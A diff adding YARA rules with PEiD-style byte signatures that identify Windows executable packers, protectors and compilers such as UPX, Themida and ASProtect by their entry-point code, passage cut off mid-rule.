+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule PEiDBundlev101BoBBobSoft
+	{
+	strings:
+			$a0 = { 60 E8 23 02 00 00 8B 44 24 04 52 48 66 31 C0 66 81 38 4D 5A 75 F5 8B 50 3C 81 3C 02 50 45 00 00 75 E9 5A C2 04 00 60 89 DD 89 C3 8B 45 3C 8B 54 28 78 01 EA 52 8B 52 20 01 EA 31 C9 41 8B 34 8A }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule UPX072
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 83 CD FF 31 DB 5E }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule AdFlt2
+	{
+	strings:
+			$a0 = { 68 00 01 9C 0F A0 0F A8 60 FD 6A 00 0F A1 BE ?? ?? AD }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RLPack120BasicEditionaPLibAp0x
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 92 05 00 00 EB 0C 8B 85 8E 05 00 00 89 85 92 05 00 00 8D B5 BA 05 00 00 8D 9D 41 04 00 00 33 FF E8 38 01 00 00 EB 1B 8B 85 92 05 00 00 FF 74 37 04 01 04 24 FF 34 37 01 04 24 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 DF 83 BD 9E 05 00 00 00 74 0E 83 BD A2 05 00 00 00 74 05 E8 D6 01 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule AsCryptv01SToRM1
+	{
+	strings:
+			$a0 = { 81 ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? E2 ?? EB }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule SmartEMicrosoft
+	{
+	strings:
+			$a0 = { EB 15 03 00 00 00 ?? 00 00 00 00 00 00 00 00 00 00 00 68 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 1D 00 00 00 8B C5 55 60 9C 2B 85 8F 07 00 00 89 85 83 07 00 00 FF 74 24 2C E8 BB 01 00 00 0F 82 2F 06 00 00 E8 8E 04 00 00 49 0F 88 23 06 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PE_Admin10EncryptPE12003518SoldFlyingCat
+	{
+	strings:
+			$a0 = { 60 9C 64 FF 35 00 00 00 00 E8 79 01 00 00 90 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 47 65 74 53 79 73 74 65 6D 44 69 72 65 63 74 6F 72 79 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 4D 61 70 70 69 6E 67 41 00 00 00 4D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 }
+	$a1 = { 60 9C 64 FF 35 00 00 00 00 E8 79 01 00 00 90 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 47 65 74 53 79 73 74 65 6D 44 69 72 65 63 74 6F 72 79 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 4D 61 70 70 69 6E 67 41 00 00 00 4D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	rule MacromediaWindowsFlashProjectorPlayerv40
+	{
+	strings:
+			$a0 = { 83 EC 44 56 FF 15 24 41 43 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule WWPack32v100v111v112v120
+	{
+	strings:
+			$a0 = { 53 55 8B E8 33 DB EB 60 0D 0A 0D 0A 57 57 50 61 63 6B 33 32 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VProtectorV11vcasm
+	{
+	strings:
+			$a0 = { B8 1A ED 41 00 B9 EC EB 41 00 50 51 E8 74 00 00 00 E8 51 6A 00 00 58 83 E8 10 B9 B3 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule MaskPE16yzkzero
+	{
+	strings:
+			$a0 = { 36 81 2C 24 ?? ?? ?? 00 C3 60 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule bambam001bedrock
+	{
+	strings:
+			$a0 = { 6A 14 E8 9A 05 00 00 8B D8 53 68 ?? ?? ?? ?? E8 6C FD FF FF B9 05 00 00 00 8B F3 BF ?? ?? ?? ?? 53 F3 A5 E8 8D 05 00 00 8B 3D ?? ?? ?? ?? A1 ?? ?? ?? ?? 66 8B 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B CF 89 45 E8 89 0D ?? ?? ?? ?? 66 89 55 EC 8B 41 3C 33 D2 03 C1 83 C4 10 66 8B 48 06 66 8B 50 14 81 E1 FF FF 00 00 8D 5C 02 18 8D 41 FF 85 C0 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01MEW11SE10Anorganix
+	{
+	strings:
+			$a0 = { E9 09 00 00 00 00 00 00 02 00 00 00 0C 90 E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ASProtectv20
+	{
+	strings:
+			$a0 = { 68 01 ?? 40 00 E8 01 00 00 00 C3 C3 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule PseudoSigner01BorlandDelphi6070Anorganix
+	{
+	strings:
+			$a0 = { 90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 53 8B D8 33 C0 A3 09 09 09 00 6A 00 E8 09 09 00 FF A3 09 09 09 00 A1 09 09 09 00 A3 09 09 09 00 33 C0 A3 09 09 09 00 33 C0 A3 09 09 09 00 E8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ObsidiumV12ObsidiumSoftware
+	{
+	strings:
+			$a0 = { EB 02 ?? ?? E8 77 1E 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01PEProtect09Anorganix
+	{
+	strings:
+			$a0 = { 52 51 55 57 64 67 A1 30 00 85 C0 78 0D E8 07 00 00 00 58 83 C0 07 C6 90 C3 E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule WWPack32v1x
+	{
+	strings:
+			$a0 = { 53 55 8B E8 33 DB EB 60 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ChSfxsmallv11
+	{
+	strings:
+			$a0 = { BA ?? ?? E8 ?? ?? 8B EC 83 EC ?? 8C C8 BB ?? ?? B1 ?? D3 EB 03 C3 8E D8 05 ?? ?? 89 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule UPXModifiedStubcFarbrauschConsumerConsulting
+	{
+	strings:
+			$a0 = { 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF FC B2 80 E8 00 00 00 00 5B 83 C3 66 A4 FF D3 73 FB 31 C9 FF D3 73 14 31 C0 FF D3 73 1D 41 B0 10 FF D3 10 C0 73 FA 75 3C AA EB E2 E8 4A 00 00 00 49 E2 10 E8 40 00 00 00 EB 28 AC D1 E8 74 45 11 C9 EB 1C 91 48 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule PseudoSigner02NorthStarPEShrinker13Anorganix
+	{
+	strings:
+			$a0 = { 9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule tElockv098tE
+	{
+	strings:
+			$a0 = { E9 25 E4 FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FSGv110EngdulekxtMicrosoftVisualBasicMASM32
+	{
+	strings:
+			$a0 = { EB 02 09 94 0F B7 FF 68 80 ?? ?? 00 81 F6 8E 00 00 00 5B EB 02 11 C2 8D 05 F4 00 00 00 47 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Upackv022v023BetaDwing
+	{
+	strings:
+			$a0 = { 6A 07 BE 88 01 40 00 AD 8B F8 59 95 F3 A5 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxVirusConstructorbased
+	{
+	strings:
+			$a0 = { BB ?? ?? B9 ?? ?? 2E ?? ?? ?? ?? 43 43 ?? ?? 8B EC CC 8B ?? ?? 81 ?? ?? ?? 06 1E B8 ?? ?? CD 21 3D ?? ?? ?? ?? 8C D8 48 8E D8 }
+	$a1 = { E8 ?? ?? 5D 81 ?? ?? ?? 06 1E E8 ?? ?? E8 ?? ?? ?? ?? 2E ?? ?? ?? ?? ?? ?? B4 4A BB FF FF CD 21 83 ?? ?? B4 4A CD 21 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule PESHiELD02
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 41 4E 41 4B 49 4E 5D 83 ED 06 EB 02 EA 04 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner02Gleam100Anorganix
+	{
+	strings:
+			$a0 = { 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 0C 53 56 57 E8 24 02 00 FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule DBPEv233DingBoy
+	{
+	strings:
+			$a0 = { EB 20 ?? ?? 40 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9C 55 57 56 52 51 53 9C E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? 9C 6A 10 73 0B EB 02 C1 51 E8 06 ?? ?? ?? C4 11 73 F7 5B CD 83 C4 04 EB 02 99 EB FF 0C 24 71 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01PEtite2xlevel0Anorganix
+	{
+	strings:
+			$a0 = { 90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 B8 00 90 90 00 6A 00 68 90 90 90 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 8B D8 03 00 68 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule EPack14litefinalby6aHguT
+	{
+	strings:
+			$a0 = { 33 C0 8B C0 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule tElock098tE
+	{
+	strings:
+			$a0 = { E9 25 E4 FF FF 00 00 00 ?? ?? ?? ?? 1E ?? ?? 00 00 00 00 00 00 00 00 00 3E ?? ?? 00 2E ?? ?? 00 26 ?? ?? 00 00 00 00 00 00 00 00 00 4B ?? ?? 00 36 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 56 ?? ?? 00 00 00 00 00 69 ?? ?? 00 00 00 00 00 56 ?? ?? 00 00 00 00 00 69 ?? ?? 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 75 73 65 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule UnnamedScrambler10p0ke
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 EC 53 56 33 C0 89 45 ?? ?? ?? ?? 40 00 E8 11 F4 FF FF BE 30 6B 40 00 33 C0 55 68 C9 42 40 00 64 FF 30 64 89 20 E8 C9 FA FF FF BA D8 42 40 00 8B ?? ?? ?? ?? FF FF 8B D8 B8 28 6B 40 00 8B 16 E8 37 F0 FF FF B8 2C 6B 40 00 8B 16 E8 2B F0 FF FF B8 28 6B 40 00 E8 19 F0 FF FF 8B D0 8B C3 8B 0E E8 42 E3 FF FF BA DC 42 40 00 8B C6 E8 2A FA FF FF 8B D8 B8 20 6B 40 00 8B 16 E8 FC EF FF FF B8 24 6B 40 00 8B 16 E8 F0 EF FF FF B8 20 6B 40 00 E8 DE EF FF FF 8B D0 8B C3 8B 0E E8 07 E3 FF FF 6A 00 6A 19 6A 00 6A 32 A1 28 6B 40 00 E8 59 EF FF FF 83 E8 05 03 C0 8D 55 EC E8 94 FE FF FF 8B 55 EC B9 24 6B 40 00 A1 20 6B 40 00 E8 E2 F6 FF FF 6A 00 6A 19 6A 00 6A 32 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule WARNINGTROJANADinjector
+	{
+	strings:
+			$a0 = { 90 61 BE 00 20 44 00 8D BE 00 F0 FB FF C7 87 9C E0 04 00 6A F0 8A 5E 57 83 CD FF EB 0E }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule TopSpeedv3011989
+	{
+	strings:
+			$a0 = { 1E BA ?? ?? 8E DA 8B ?? ?? ?? 8B ?? ?? ?? FF ?? ?? ?? 50 53 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule CodeCryptv0164
+	{
+	strings:
+			$a0 = { E9 2E 03 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F EB 03 FF 1D 34 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule UPXHiT001DJSiba
+	{
+	strings:
+			$a0 = { E2 FA 94 FF E0 61 00 00 00 00 00 00 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule PseudoSigner01ASProtectAnorganix
+	{
+	strings:
+			$a0 = { 60 90 90 90 90 90 90 5D 90 90 90 90 90 90 90 90 90 90 90 03 DD E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PocketPCARM
+	{
+	strings:
+			$a0 = { F0 40 2D E9 00 40 A0 E1 01 50 A0 E1 02 60 A0 E1 03 70 A0 E1 ?? 00 00 EB 07 30 A0 E1 06 20 A0 E1 05 10 A0 E1 04 00 A0 E1 ?? ?? ?? EB F0 40 BD E8 ?? 00 00 EA ?? 40 2D E9 ?? ?? 9F E5 ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? 9F E5 00 ?? ?? ?? ?? 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule AnskyaBinderv11Anskya
+	{
+	strings:
+			$a0 = { BE ?? ?? ?? 00 BB F8 11 40 00 33 ED 83 EE 04 39 2E 74 11 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VProtectorV10Bvcasm
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 CA 37 41 00 68 06 38 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SecurePE1Xwwwdeepzoneorg
+	{
+	strings:
+			$a0 = { 8B 04 24 E8 00 00 00 00 5D 81 ED 4C 2F 40 00 89 85 61 2F 40 00 8D 9D 65 2F 40 00 53 C3 00 00 00 00 8D B5 BA 2F 40 00 8B FE BB 65 2F 40 00 B9 C6 01 00 00 AD 2B C3 C1 C0 03 33 C3 AB 43 81 FB 8E 2F 40 00 75 05 BB 65 2F 40 00 E2 E7 89 AD 1A 31 40 00 89 AD 55 34 40 00 89 AD 68 34 40 00 8D 85 BA 2F 40 00 50 C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule yPv10bbyAshkbizDanehkar
+	{
+	strings:
+			$a0 = { 55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01 ?? B9 EA 47 40 00 81 E9 E9 32 40 00 8B D5 81 C2 E9 32 40 00 8D 3A 8B F7 33 C0 E8 04 00 00 00 90 EB 01 C2 E8 03 00 00 00 EB 01 ?? AC ?? ?? ?? ?? ?? ?? ?? EB 01 E8 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule MSLRHv031a
+	{
+	strings:
+			$a0 = { 60 D1 CB 0F CA C1 CA E0 D1 CA 0F C8 EB 01 F1 0F C0 C9 D2 D1 0F C1 C0 D3 DA C0 D6 A8 EB 01 DE D0 EC 0F C1 CB D0 CF 0F C1 D1 D2 DB 0F C8 EB 01 BC C0 E9 C6 C1 D0 91 0F CB EB 01 73 0F CA 87 D9 87 D2 D0 CF 87 D9 0F C8 EB 01 C1 EB 01 A2 86 CA D0 E1 0F C0 CB 0F }
+	$a1 = { 60 D1 CB 0F CA C1 CA E0 D1 CA 0F C8 EB 01 F1 0F C0 C9 D2 D1 0F C1 C0 D3 DA C0 D6 A8 EB 01 DE D0 EC 0F C1 CB D0 CF 0F C1 D1 D2 DB 0F C8 EB 01 BC C0 E9 C6 C1 D0 91 0F CB EB 01 73 0F CA 87 D9 87 D2 D0 CF 87 D9 0F C8 EB 01 C1 EB 01 A2 86 CA D0 E1 0F C0 CB 0F CA C0 C7 91 0F CB C1 D9 0C 86 F9 86 D7 D1 D9 EB 01 A5 EB 01 11 EB 01 1D 0F C1 C2 0F CB 0F C1 C2 EB 01 A1 C0 E9 FD 0F C1 D1 EB 01 E3 0F CA 87 D9 EB 01 F3 0F CB 87 C2 0F C0 F9 D0 F7 EB 01 2F 0F C9 C0 DC C4 EB 01 35 0F CA D3 D1 86 C8 EB 01 01 0F C0 F5 87 C8 D0 DE EB 01 95 EB 01 E1 EB 01 FD EB 01 EC 87 D3 0F CB C1 DB 35 D3 E2 0F C8 86 E2 86 EC C1 FB 12 D2 EE 0F C9 D2 F6 0F CA 87 C3 C1 D3 B3 EB 01 BF D1 CB 87 C9 0F CA 0F C1 DB EB 01 44 C0 CA F2 0F C1 D1 0F CB EB 01 D3 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 }
+
+	condition:
+			$a0 or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule Upackv039finalDwing
+	{
+	strings:
+			$a0 = { 56 10 E2 E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 }
+	$a1 = { FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF }
+
+	condition:
+			$a0 or $a1
+	}
+	
+	
+	rule vprotector12vcasm
+	{
+	strings:
+			$a0 = { EB 0B 5B 56 50 72 6F 74 65 63 74 5D 00 E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00 74 F3 75 F1 EB 24 64 FF 35 00 00 00 00 EB 12 FF 9C 74 03 75 01 E9 81 0C 24 00 01 00 00 9D 90 EB F4 64 89 25 00 }
+	$a1 = { EB 0B 5B 56 50 72 6F 74 65 63 74 5D 00 E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00 74 F3 75 F1 EB 24 64 FF 35 00 00 00 00 EB 12 FF 9C 74 03 75 01 E9 81 0C 24 00 01 00 00 9D 90 EB F4 64 89 25 00 00 00 00 EB E6 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 33 F6 E8 10 00 00 00 8B 64 24 08 64 8F 05 00 00 00 00 58 EB 13 C7 83 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 AD CD 20 E8 05 00 00 00 0F 01 EB 05 E8 EB FB 00 00 83 C4 04 E8 08 00 00 00 0F 01 83 C0 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule FakeNinjav28Spirit
+	{
+	strings:
+			$a0 = { BA ?? ?? ?? ?? FF E2 64 11 40 00 FF 35 84 11 40 00 E8 40 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule PECompactv133
+	{
+	strings:
+			$a0 = { EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 80 40 ?? 87 DD 8B 85 A6 80 40 ?? 01 85 03 80 40 ?? 66 C7 85 00 80 40 ?? 90 90 01 85 9E 80 40 ?? BB E8 0E }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule DragonArmorOrient
+	{
+	strings:
+			$a0 = { BF 4C ?? ?? 00 83 C9 FF 33 C0 68 34 ?? ?? 00 F2 AE F7 D1 49 51 68 4C ?? ?? 00 E8 11 0A 00 00 83 C4 0C 68 4C ?? ?? 00 FF 15 00 ?? ?? 00 8B F0 BF 4C ?? ?? 00 83 C9 FF 33 C0 F2 AE F7 D1 49 BF 4C ?? ?? 00 8B D1 68 34 ?? ?? 00 C1 E9 02 F3 AB 8B CA 83 E1 03 F3 AA BF 5C ?? ?? 00 83 C9 FF 33 C0 F2 AE F7 D1 49 51 68 5C ?? ?? 00 E8 C0 09 00 00 8B 1D 04 ?? ?? 00 83 C4 0C 68 5C ?? ?? 00 56 FF D3 A3 D4 ?? ?? 00 BF 5C ?? ?? 00 83 C9 FF 33 C0 F2 AE F7 D1 49 BF 5C ?? ?? 00 8B D1 68 34 ?? ?? 00 C1 E9 02 F3 AB 8B CA 83 E1 }
+
+	condition:
+			$a0
+	}
+	rule ThemidaWinLicenseV1802OreansTechnologies
+	{
+	strings:
+			$a0 = { B8 00 00 00 00 60 0B C0 74 68 E8 00 00 00 00 58 05 ?? 00 00 00 80 38 E9 75 ?? 61 EB ?? DB 2D ?? ?? ?? ?? FF FF FF FF FF FF FF FF 3D 40 E8 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SoftDefender1xRandyLi
+	{
+	strings:
+			$a0 = { 74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44 CD 00 59 9C 50 74 0A 75 08 E8 59 C2 04 00 55 8B EC E8 F4 FF FF FF 56 57 53 78 0F 79 0D E8 34 99 47 49 34 33 EF 31 34 52 47 23 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 E6 01 00 00 03 C8 74 BD 75 BB E8 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PellesC2x4xDLLPelleOrinius
+	{
+	strings:
+			$a0 = { 55 89 E5 53 56 57 8B 5D 0C 8B 75 10 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule UPX290LZMADelphistubMarkusOberhumerLaszloMolnarJohnReiser
+	{
+	strings:
+			$a0 = { 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? C7 87 ?? ?? ?? ?? ?? ?? ?? ?? 57 83 CD FF 89 E5 8D 9C 24 ?? ?? ?? ?? 31 C0 50 39 DC 75 FB 46 46 53 68 ?? ?? ?? ?? 57 83 C3 04 53 68 ?? ?? ?? ?? 56 83 C3 04 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RLPackV119aPlib043ap0x
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 3C 04 00 00 EB 0C 8B 85 38 04 00 00 89 85 3C 04 00 00 8D B5 60 04 00 00 8D 9D EB 02 00 00 33 FF E8 52 01 00 00 EB 1B 8B 85 3C 04 00 00 FF 74 37 04 01 04 24 FF 34 37 01 04 24 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 DF 83 BD 48 04 00 00 00 74 0E 83 BD 4C 04 00 00 00 74 05 E8 B8 01 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 D1 03 00 00 89 85 5C 04 00 00 5B FF B5 5C 04 00 00 56 FF D3 83 C4 08 8B B5 5C 04 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD 3C 04 00 00 83 C0 04 89 85 58 04 00 00 E9 94 00 00 00 56 FF 95 C9 03 00 00 85 C0 0F 84 B4 00 00 00 89 85 54 04 00 00 8B C6 EB 5B 8B 85 58 04 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 58 04 00 00 C7 00 20 20 20 00 EB 06 FF B5 58 04 00 00 FF B5 54 04 00 00 FF 95 CD 03 00 00 85 C0 74 71 89 07 83 C7 04 8B 85 58 04 00 00 EB 01 40 80 38 00 75 FA 40 89 85 58 04 00 00 66 81 78 02 00 80 74 A5 80 38 00 75 A0 EB 01 46 80 3E 00 75 FA 46 40 8B 38 03 BD 3C 04 00 00 83 C0 04 89 85 58 04 00 00 80 3E 01 0F 85 63 FF FF FF 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 5C 04 00 00 FF 95 D5 03 00 00 E8 3D 00 00 00 E8 24 01 00 00 61 E9 ?? ?? ?? ?? 61 C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VirogensPEShrinkerv014
+	{
+	strings:
+			$a0 = { 9C 55 E8 ?? ?? ?? ?? 87 D5 5D 60 87 D5 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 57 56 AD 0B C0 74 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FSGv110EngdulekxtBorlandDelphiBorlandC
+	{
+	strings:
+			$a0 = { 2B C2 E8 02 00 00 00 95 4A 59 8D 3D 52 F1 2A E8 C1 C8 1C BE 2E ?? ?? 18 EB 02 AB A0 03 F7 }
+	$a1 = { 2B C2 E8 02 00 00 00 95 4A 59 8D 3D 52 F1 2A E8 C1 C8 1C BE 2E ?? ?? 18 EB 02 AB A0 03 F7 EB 02 CD 20 68 F4 00 00 00 0B C7 5B 03 CB 8A 06 8A 16 E8 02 00 00 00 8D 46 59 EB 01 A4 02 D3 EB 02 CD 20 02 D3 E8 02 00 00 00 57 AB 58 81 C2 AA 87 AC B9 0F BE C9 80 }
+	$a2 = { EB 01 2E EB 02 A5 55 BB 80 ?? ?? 00 87 FE 8D 05 AA CE E0 63 EB 01 75 BA 5E CE E0 63 EB 02 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point) or $a2 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01ACProtect109Anorganix
+	{
+	strings:
+			$a0 = { 60 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 90 90 90 04 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RCryptorV16dVaska
+	{
+	strings:
